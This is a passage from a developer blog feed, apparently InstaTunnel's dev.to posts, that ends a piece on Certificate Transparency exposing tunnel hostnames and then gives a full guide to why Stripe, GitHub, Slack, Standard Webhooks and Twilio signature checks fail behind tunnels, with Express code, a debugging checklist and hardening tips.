Research from 2018 showed scans arriving within minutes of issuance, and the log infrastructure and tooling have only improved since. Plan for near-immediate discovery.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Is a long random subdomain good enough for a short demo?&lt;/strong&gt;&lt;br&gt;
For something genuinely harmless, a short-lived unlisted link carries small risk. For anything involving customer data, credentials, or internal tools, add authentication. It takes one flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Are Basic Auth and password protection enough?&lt;/strong&gt;&lt;br&gt;
They stop casual and automated discovery from reaching your app. They are not a substitute for application-level security, signed webhooks, or identity-aware access for sensitive work.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Bottom Line
&lt;/h2&gt;

&lt;p&gt;Certificate Transparency makes every publicly trusted hostname readable, and the tools to read it in real time are free. A per-subdomain certificate publishes your tunnel's exact name, and a wildcard hides the name from CT but not from the many other places names leak. Either way, the right mental model is the same: the URL is an address, not a password.&lt;/p&gt;

&lt;p&gt;Put authentication in front of anything you tunnel, keep credentials long and random, and keep exposure short. If you do, a scanner finding your hostname costs you a login prompt instead of an incident.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Scheitle et al., &lt;a href="https://arxiv.org/abs/1809.08325" rel="noopener noreferrer"&gt;The Rise of Certificate Transparency and Its Implications on the Internet Ecosystem&lt;/a&gt;, ACM IMC 2018&lt;/li&gt;
&lt;li&gt;Encryption Consulting, &lt;a href="https://www.encryptionconsulting.com/certificate-transparency-monitoring/" rel="noopener noreferrer"&gt;Certificate Transparency monitoring&lt;/a&gt; (Chrome Root Program Policy 1.8, Chrome 148)&lt;/li&gt;
&lt;li&gt;Chrome, &lt;a href="https://googlechrome.github.io/CertificateTransparency/log_policy.html" rel="noopener noreferrer"&gt;Certificate Transparency Log Policy&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Let's Encrypt, &lt;a href="https://letsencrypt.org/docs/ct-logs/" rel="noopener noreferrer"&gt;Certificate Transparency (CT) Logs&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Apple, &lt;a href="https://support.apple.com/en-us/103214" rel="noopener noreferrer"&gt;Certificate Transparency policy&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;TechSpot, &lt;a href="https://www.techspot.com/news/113929-one-command-trick-can-put-localhost-internet-no.html" rel="noopener noreferrer"&gt;One command trick can put localhost on the internet&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Cloudflare, &lt;a href="https://developers.cloudflare.com/tunnel/get-started/quick-tunnels/" rel="noopener noreferrer"&gt;Quick Tunnels documentation&lt;/a&gt; and &lt;a href="https://blog.cloudflare.com/quick-tunnels-anytime-anywhere/" rel="noopener noreferrer"&gt;Quick Tunnels: Anytime, Anywhere&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Cloudflare changelog, &lt;a href="https://developers.cloudflare.com/changelog/post/2026-10-02-protected-quick-tunnels/" rel="noopener noreferrer"&gt;Protect Quick Tunnels with email authentication&lt;/a&gt; (via &lt;a href="https://tproger.ru/news/cloudflare-razrewila-zashhishhat-quick-tunnels-kodom-iz-pisma" rel="noopener noreferrer"&gt;Tproger&lt;/a&gt;)&lt;/li&gt;
&lt;li&gt;IT-Connect, &lt;a href="https://www.it-connect.tech/trycloudflare-quick-tunnels-are-being-indexed-on-google/" rel="noopener noreferrer"&gt;TryCloudflare Quick Tunnels are being indexed on Google&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Elastic, &lt;a href="https://detection.fyi/elastic/detection-rules/windows/command_and_control_tunnel_cloudflared" rel="noopener noreferrer"&gt;Potential Protocol Tunneling via Cloudflared&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;InstaTunnel, &lt;a href="https://cdn.jsdelivr.net/npm/instatunnel@1.1.23/README.md" rel="noopener noreferrer"&gt;npm package README&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://instatunnel.my/blog/certificate-transparency-leaks-why-your-secret-tunnel-url-isnt-secret" rel="noopener noreferrer"&gt;https://instatunnel.my/blog/certificate-transparency-leaks-why-your-secret-tunnel-url-isnt-secret&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>webdev</category>
    </item>
    <item>
      <title>Signed, Sealed, Mangled: Why Webhook Signatures Fail Behind a Tunnel</title>
      <dc:creator>InstaTunnel</dc:creator>
      <pubDate>Tue, 03 Nov 2026 01:39:03 +0000</pubDate>
      <link>https://dev.to/instatunnel/signed-sealed-mangled-why-webhook-signatures-fail-behind-a-tunnel-3gph</link>
      <guid>https://dev.to/instatunnel/signed-sealed-mangled-why-webhook-signatures-fail-behind-a-tunnel-3gph</guid>
      <description>&lt;p&gt;You point a tunnel at &lt;code&gt;localhost:3000&lt;/code&gt;, send a test event, and your handler answers &lt;code&gt;400 Invalid signature&lt;/code&gt;. The payload looks right. The secret looks right. So why does &lt;strong&gt;webhook signature verification fail&lt;/strong&gt; only when the request passes through a tunnel or reverse proxy?&lt;/p&gt;

&lt;p&gt;A signature is a promise about exact bytes, exact timing and, for some providers, an exact URL. A tunnel, proxy or helpful middleware can change any of those while the request still looks healthy. This guide covers the three failure families developers hit most: raw body versus re-serialized JSON, timestamp tolerance, and Twilio-style signing of the full URL. It ends with a debugging checklist and a look at the debugging tools available as of November 2026.&lt;/p&gt;

&lt;h2&gt;
  
  
  How webhook signatures work
&lt;/h2&gt;

&lt;p&gt;Nearly every provider uses an HMAC: the sender combines a shared secret with some “signed content,” hashes it, and puts the result in a header. The receiver rebuilds the same content, computes its own HMAC and compares the two in constant time. Providers differ in what goes into the signed content, and in the hash algorithm and encoding.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Provider&lt;/th&gt;
&lt;th&gt;Header&lt;/th&gt;
&lt;th&gt;Signed content&lt;/th&gt;
&lt;th&gt;Algorithm&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Stripe&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;Stripe-Signature&lt;/code&gt; (&lt;code&gt;t=…,v1=…&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{timestamp}.{raw body}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HMAC-SHA256, hex&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GitHub&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;X-Hub-Signature-256&lt;/code&gt; (&lt;code&gt;sha256=…&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;raw payload only&lt;/td&gt;
&lt;td&gt;HMAC-SHA256, hex&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Slack&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;X-Slack-Signature&lt;/code&gt; (&lt;code&gt;v0=…&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;v0:{timestamp}:{raw body}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HMAC-SHA256, hex&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Standard Webhooks (Svix, Resend, Clerk, Polar, OpenAI and others)&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;webhook-signature&lt;/code&gt; (&lt;code&gt;v1,…&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;{webhook-id}.{webhook-timestamp}.{raw body}&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;HMAC-SHA256, Base64&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Twilio&lt;/td&gt;
&lt;td&gt;&lt;code&gt;X-Twilio-Signature&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;full URL + sorted POST params&lt;/td&gt;
&lt;td&gt;HMAC-SHA1, Base64&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Stripe, Slack and Standard Webhooks bind a &lt;strong&gt;timestamp&lt;/strong&gt; into the signature. GitHub signs the raw body with no timestamp. Twilio signs the &lt;strong&gt;URL&lt;/strong&gt;. Each design gives a tunnel a different way to break things.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failure #1: raw body versus re-serialized JSON
&lt;/h2&gt;

&lt;p&gt;The most common cause of “signature mismatch” is not a wrong secret. It is a JSON parser that ran before your verification code.&lt;/p&gt;

&lt;p&gt;Stripe signs the raw, unmodified request body, and most web frameworks parse the body and discard the original bytes. Slack’s documentation makes the same point: the raw form of the body, whitespace included, is what Slack uses to compute the signature.&lt;/p&gt;

&lt;h3&gt;
  
  
  What “mangled” looks like
&lt;/h3&gt;

&lt;p&gt;If you parse JSON and then call &lt;code&gt;JSON.stringify(req.body)&lt;/code&gt; to feed the HMAC, you are verifying a &lt;em&gt;different string&lt;/em&gt; than the one the provider signed. Re-serialization can change:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Whitespace and key order&lt;/strong&gt;, which rarely match the original byte for byte.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unicode escaping&lt;/strong&gt;: a sender may write &lt;code&gt;"\u00e9"&lt;/code&gt; where your serializer writes a literal &lt;code&gt;"é"&lt;/code&gt;. Both are the same value but different bytes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Number formatting&lt;/strong&gt;: in JavaScript, &lt;code&gt;1.0&lt;/code&gt; becomes &lt;code&gt;1&lt;/code&gt;, and integers beyond 2^53 lose precision.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Character encoding&lt;/strong&gt;: GitHub’s guidance is to handle payloads as UTF-8, since they can contain Unicode.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Each of these yields a valid-looking object and an invalid signature.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Express trap
&lt;/h3&gt;

&lt;p&gt;In Express, middleware order decides everything, because whichever body parser runs first consumes the request stream. This is broken:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;                                   &lt;span class="c1"&gt;// runs first; req.body is now an object&lt;/span&gt;
&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/webhooks/stripe&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="na"&gt;type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;application/json&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt; &lt;span class="nx"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The route-level raw parser gets nothing. Register webhook routes with &lt;code&gt;express.raw()&lt;/code&gt; &lt;em&gt;before&lt;/em&gt; the global JSON parser, or capture the bytes with the &lt;code&gt;verify&lt;/code&gt; hook:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;express&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;json&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;verify&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;_res&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;rawBody&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;   &lt;span class="c1"&gt;// keep the exact bytes&lt;/span&gt;
&lt;span class="p"&gt;}));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Hash &lt;code&gt;req.rawBody&lt;/code&gt;, never &lt;code&gt;JSON.stringify(req.body)&lt;/code&gt;. A &lt;code&gt;Buffer.isBuffer(req.body)&lt;/code&gt; guard in a raw-body route turns a misleading “signature mismatch” into an obvious configuration error.&lt;/p&gt;

&lt;h3&gt;
  
  
  Where the tunnel comes in
&lt;/h3&gt;

&lt;p&gt;A tunnel that only relays HTTP requests should deliver the same body bytes it received. Trouble starts when something in the path transforms the request: a proxy that rewrites the body, a middleware that normalizes it, or an inspection layer that re-encodes it. If verification passes when you call the app directly but fails through the tunnel, compare the raw bytes your app receives with what the provider sent.&lt;/p&gt;

&lt;p&gt;Tunnel inspectors help here, with one caveat. ngrok’s Traffic Inspector, for example, collects only request metadata by default, to avoid exposing secrets. You must enable full capture in your account settings before it records complete request and response bodies.&lt;/p&gt;

&lt;p&gt;One more local-development trap: &lt;strong&gt;the signing secret depends on where the event came from.&lt;/strong&gt; Stripe’s troubleshooting guide says the most common verification error is using the wrong endpoint secret. Both the Dashboard endpoint and the Stripe CLI produce secrets that start with &lt;code&gt;whsec_&lt;/code&gt;, but they are different secrets. Don’t verify CLI-forwarded events with a Dashboard endpoint’s secret, or the other way around. No amount of body handling will fix that.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failure #2: timestamp tolerance
&lt;/h2&gt;

&lt;p&gt;Timestamped signatures exist to stop replay attacks. An attacker who captures a valid request can resend it with its signature intact, so receivers also check that the timestamp is recent. The common default is five minutes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Stripe’s&lt;/strong&gt; libraries reject events whose timestamp is more than 300 seconds off by default, and let you override the tolerance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Slack&lt;/strong&gt; tells you to reject requests whose &lt;code&gt;X-Slack-Request-Timestamp&lt;/code&gt; differs from local time by more than five minutes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Standard Webhooks&lt;/strong&gt; libraries default to a 300-second tolerance. Some implementations check both directions and reject future-dated timestamps as well as stale ones.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For Standard Webhooks, &lt;code&gt;webhook-id&lt;/code&gt; stays the same across retries of the same event, while &lt;code&gt;webhook-timestamp&lt;/code&gt; records when each delivery attempt was signed. The timestamp is therefore fresh on every provider-side retry.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;GitHub is the exception.&lt;/strong&gt; Its signature carries no timestamp, so there is no freshness check. Deduplicate on the &lt;code&gt;X-GitHub-Delivery&lt;/code&gt; ID instead.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why tunnels make timestamp failures likelier
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Clock drift on dev machines.&lt;/strong&gt; A laptop that slept overnight, or a VM or container with a skewed clock, can run minutes off. Outside the tolerance, every request fails even though the signature is correct. Sync the clock first.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Replaying captured events.&lt;/strong&gt; Tunnel inspectors let you resend a captured request, including with edits. ngrok offers both a plain replay and “replay with modifications”. An hours-old Stripe event will fail the tolerance check, which is the feature working as designed. Re-sign with a fresh timestamp, or widen the tolerance in a development-only configuration.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delivery held up in transit.&lt;/strong&gt; Provider retries are re-signed, so they aren’t the problem. A single delivery that your tunnel drops, queues or delays past the tolerance window is.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In production, keep the 300-second default and never disable the check outside a throwaway test. Log the computed clock skew on every rejection so “stale timestamp” and “bad signature” show up as separate errors. Slack’s own instructions treat the timestamp check as a distinct step before signature comparison.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Standard Webhooks gotcha
&lt;/h3&gt;

&lt;p&gt;The Standard Webhooks signing key is normally the secret with its &lt;code&gt;whsec_&lt;/code&gt; prefix removed and the remainder Base64-decoded. Not every provider follows that to the letter. Polar’s documentation notes that Polar uses the full secret string, including the prefix, as the raw HMAC key. If you hand-roll verification instead of using a library, check your provider’s docs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Failure #3: Twilio signs the full URL
&lt;/h2&gt;

&lt;p&gt;Twilio’s scheme surprises people most, because the body is only part of what gets signed. Per Twilio’s documentation:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Start with the &lt;strong&gt;full URL&lt;/strong&gt; of the request, from the protocol through the end of the query string.&lt;/li&gt;
&lt;li&gt;For a form-encoded POST, sort the POST parameters alphabetically by name and append each name and value to the URL, with no delimiters.&lt;/li&gt;
&lt;li&gt;Compute an &lt;strong&gt;HMAC-SHA1&lt;/strong&gt; of that string, keyed with your account &lt;strong&gt;Auth Token&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Base64-encode the result and compare it with &lt;code&gt;X-Twilio-Signature&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Because the URL is baked in, &lt;strong&gt;a proxy that rewrites the scheme, host or path breaks validation&lt;/strong&gt;. The request is genuine, but your code rebuilds a string different from the one Twilio hashed.&lt;/p&gt;

&lt;p&gt;Twilio’s validation helpers also expect you to pass every received parameter, not a hardcoded list, since Twilio can add parameters at any time. Query-string parameters are already part of the URL, so don’t pass them separately as well.&lt;/p&gt;

&lt;h3&gt;
  
  
  What breaks the URL behind a tunnel
&lt;/h3&gt;

&lt;p&gt;Twilio’s support guidance says the root cause of 403s behind a proxy is almost always a mismatch between the URL Twilio signed and the one your app reconstructs. The usual suspects:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Wrong scheme.&lt;/strong&gt; TLS ends at the edge, so your app sees &lt;code&gt;http://&lt;/code&gt; while Twilio signed &lt;code&gt;https://&lt;/code&gt;. Recover the original scheme with &lt;code&gt;X-Forwarded-Proto&lt;/code&gt;, as Twilio’s Node.js SSL-termination guidance explains.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Wrong host.&lt;/strong&gt; Your app sees an internal hostname or &lt;code&gt;localhost:3000&lt;/code&gt;, but Twilio signed the public tunnel hostname. If anything in the path rewrites the &lt;code&gt;Host&lt;/code&gt; header, don’t use it to rebuild the signed URL.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Missing path or query string.&lt;/strong&gt; Framework objects like &lt;code&gt;request.url&lt;/code&gt; or &lt;code&gt;request.host&lt;/code&gt; can return a partial URL, and rebuilding &lt;code&gt;https://host&lt;/code&gt; without the path changes the signed string.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trailing slash.&lt;/strong&gt; The signed value is a plain string, so &lt;code&gt;/webhook&lt;/code&gt; and &lt;code&gt;/webhook/&lt;/code&gt; produce different signatures. Match the URL in the Twilio Console exactly.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Ports.&lt;/strong&gt; The twilio-ruby validator checks the signature both with and without an explicit port, with a code comment noting that signature generation on Twilio’s back end is inconsistent about it. If you hand-roll validation, test both forms.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A hostname that changes.&lt;/strong&gt; If your tunnel assigns a new random hostname each session, update the URL in Twilio &lt;em&gt;and&lt;/em&gt; in your validator. A stale value fails every request.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  JSON bodies and &lt;code&gt;bodySHA256&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Not every Twilio webhook is form-encoded. For &lt;code&gt;application/json&lt;/code&gt; requests, Twilio appends a &lt;code&gt;bodySHA256&lt;/code&gt; query parameter to your webhook URL, holding a SHA-256 hash of the raw body. Twilio’s SDKs then run two checks: the body’s hash must match the parameter, and the signature, computed over the URL including that parameter, must be valid. A body-mangling middleware therefore fails the hash check even if your URL logic is perfect. In Node, this is the job of &lt;code&gt;validateRequestWithBody&lt;/code&gt;. Preserve the raw body here too.&lt;/p&gt;

&lt;h3&gt;
  
  
  The safest fix
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Trust forwarding headers only from a proxy you control.&lt;/strong&gt; Rebuild the URL from &lt;code&gt;X-Forwarded-Proto&lt;/code&gt; and &lt;code&gt;X-Forwarded-Host&lt;/code&gt;. This works only if a trusted proxy actually sets them, and you should never honor them from the open internet. In Express, that also means configuring &lt;code&gt;trust proxy&lt;/code&gt; correctly so &lt;code&gt;req.protocol&lt;/code&gt; reflects the forwarded scheme.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hardcode the public URL.&lt;/strong&gt; You already know what you configured in Twilio. Validate against that constant. It is boring, and it removes the whole class of reconstruction bugs.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Twilio’s scheme has no timestamp, so there is no built-in replay window. If replays matter, deduplicate on identifiers such as &lt;code&gt;MessageSid&lt;/code&gt; or &lt;code&gt;CallSid&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  A ten-minute debugging checklist
&lt;/h2&gt;

&lt;p&gt;Work from the cheapest check to the most expensive:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Right secret, right kind?&lt;/strong&gt; Stripe CLI versus Dashboard secret, Twilio Auth Token (the signing key) versus an API key, a rotated secret that has not propagated. GitHub omits &lt;code&gt;X-Hub-Signature-256&lt;/code&gt; entirely if no secret is configured.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Right header?&lt;/strong&gt; GitHub recommends &lt;code&gt;X-Hub-Signature-256&lt;/code&gt;. The older &lt;code&gt;X-Hub-Signature&lt;/code&gt; uses SHA-1 and is kept for legacy purposes. Stripe test events can carry a legacy &lt;code&gt;v0&lt;/code&gt; entry in the header, so verify &lt;code&gt;v1&lt;/code&gt; and ignore other schemes.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Raw bytes?&lt;/strong&gt; Log the length of the body you hash and compare it with the &lt;code&gt;Content-Length&lt;/code&gt; the tunnel saw.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Clock within tolerance?&lt;/strong&gt; Print &lt;code&gt;now - timestamp&lt;/code&gt; on every rejection.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Twilio: which URL are you hashing?&lt;/strong&gt; Log it and compare character by character with the Console. Try with and without the port and trailing slash.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Does it pass when sent directly to the app?&lt;/strong&gt; If yes, something between the provider and your app is changing the request. If no, the bug is in your verification code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Constant-time compare?&lt;/strong&gt; Use &lt;code&gt;crypto.timingSafeEqual&lt;/code&gt; or &lt;code&gt;hmac.compare_digest&lt;/code&gt;. It will not fix a mismatch, but GitHub’s docs recommend it, and it keeps you from adding a timing leak while debugging.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Tools worth knowing in late 2026
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Stripe CLI.&lt;/strong&gt; &lt;code&gt;stripe listen&lt;/code&gt; forwards events to localhost and prints its own temporary signing secret, so no public URL is needed. Use that secret locally.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;ngrok.&lt;/strong&gt; Its Traffic Inspector can show and replay captured requests, and its provider-verification feature can check webhook signatures for supported providers (Stripe and Mux, among others) and block invalid requests before they reach your app. ngrok’s Mux guide notes a limit of 500 validations per month on free accounts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;@teamshift/webhook-inspect&lt;/code&gt;.&lt;/strong&gt; A recent open-source npm package that verifies Stripe, GitHub, Shopify, Slack, Twilio and generic HMAC signatures and explains why a check fails. Its README describes three commands:

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;verify&lt;/code&gt; checks a single request.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;listen&lt;/code&gt; captures webhooks locally, with verification.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;replay&lt;/code&gt; sends a saved capture to a local server.When verification fails, the tool tries concrete fixes and marks the confirmed cause.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A caveat on &lt;code&gt;webhook-inspect&lt;/code&gt;: Socket’s listing shows a single version (0.1.0) and a single maintainer. Its README includes a sample capture dated 4 October 2026, but I could not confirm the exact publish date. Treat it as early-stage software and review it before routing real secrets through it.&lt;/p&gt;

&lt;p&gt;Whatever tool you use, the technique is identical: reproduce the provider’s signed string and change one variable at a time until the HMACs match.&lt;/p&gt;

&lt;h2&gt;
  
  
  Production hardening
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Verify before you parse.&lt;/strong&gt; Authenticate first, deserialize second.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Separate internal errors&lt;/strong&gt; for missing header, stale timestamp and bad signature, while giving the caller a generic response.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Support secret rotation.&lt;/strong&gt; Stripe can send multiple &lt;code&gt;v1&lt;/code&gt; signatures while two secrets are active, and Standard Webhooks allows several space-delimited signatures, so accept any valid match.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deduplicate&lt;/strong&gt; on &lt;code&gt;X-GitHub-Delivery&lt;/code&gt;, Stripe’s event ID, &lt;code&gt;webhook-id&lt;/code&gt; or Twilio SIDs, since retries are normal.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use a stable public URL in development.&lt;/strong&gt; For Twilio-style URL signing, a tunnel hostname that does not change between sessions keeps your provider console and your validator in sync.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Never ship a “skip verification” flag enabled.&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Frequently asked questions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Why does my signature verify locally but fail behind a tunnel?
&lt;/h3&gt;

&lt;p&gt;Usually the body bytes (a parser or proxy altered them), the clock (drift or a replayed event), or the URL (a different scheme, host or path than the one signed). Also rule out the wrong secret, especially Stripe CLI versus Dashboard. Check the raw bytes, the skew and the reconstructed URL, in that order.&lt;/p&gt;

&lt;h3&gt;
  
  
  Does Twilio’s signature include a timestamp?
&lt;/h3&gt;

&lt;p&gt;No. Twilio signs the full URL plus sorted POST parameters (or relies on &lt;code&gt;bodySHA256&lt;/code&gt; for JSON bodies). Stripe, Slack and Standard Webhooks include timestamps.&lt;/p&gt;

&lt;h3&gt;
  
  
  What is the right timestamp tolerance?
&lt;/h3&gt;

&lt;p&gt;Five minutes (300 seconds) is the widely used default across Stripe’s and Standard Webhooks’ libraries, and it is the window Slack documents. Widen it only in local testing.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I verify a signature after parsing the JSON?
&lt;/h3&gt;

&lt;p&gt;Not reliably. Re-serialized JSON can differ in whitespace, key order, escaping and number formatting. Capture the raw bytes before any parser runs.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why does Twilio validation fail when my host looks right?
&lt;/h3&gt;

&lt;p&gt;Check scheme, port, path, query string and trailing slash. One character changes the HMAC. When in doubt, hardcode the URL from the Twilio Console.&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;A webhook signature is a small contract: &lt;em&gt;these exact bytes, at this time, to this address&lt;/em&gt;. Tunnels and proxies are not malicious, but they sit in the middle of that contract and can disturb any clause. Keep the raw body, keep your clock honest, rebuild or hardcode the exact URL, and use a replay-and-diagnose tool when a mismatch will not yield to staring at logs. Do that and “signed, sealed, mangled” goes back to being “signed, sealed, delivered.”&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Sources&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.stripe.com/webhooks/signature" rel="noopener noreferrer"&gt;Stripe: Resolve webhook signature verification errors&lt;/a&gt;&lt;/li&gt;
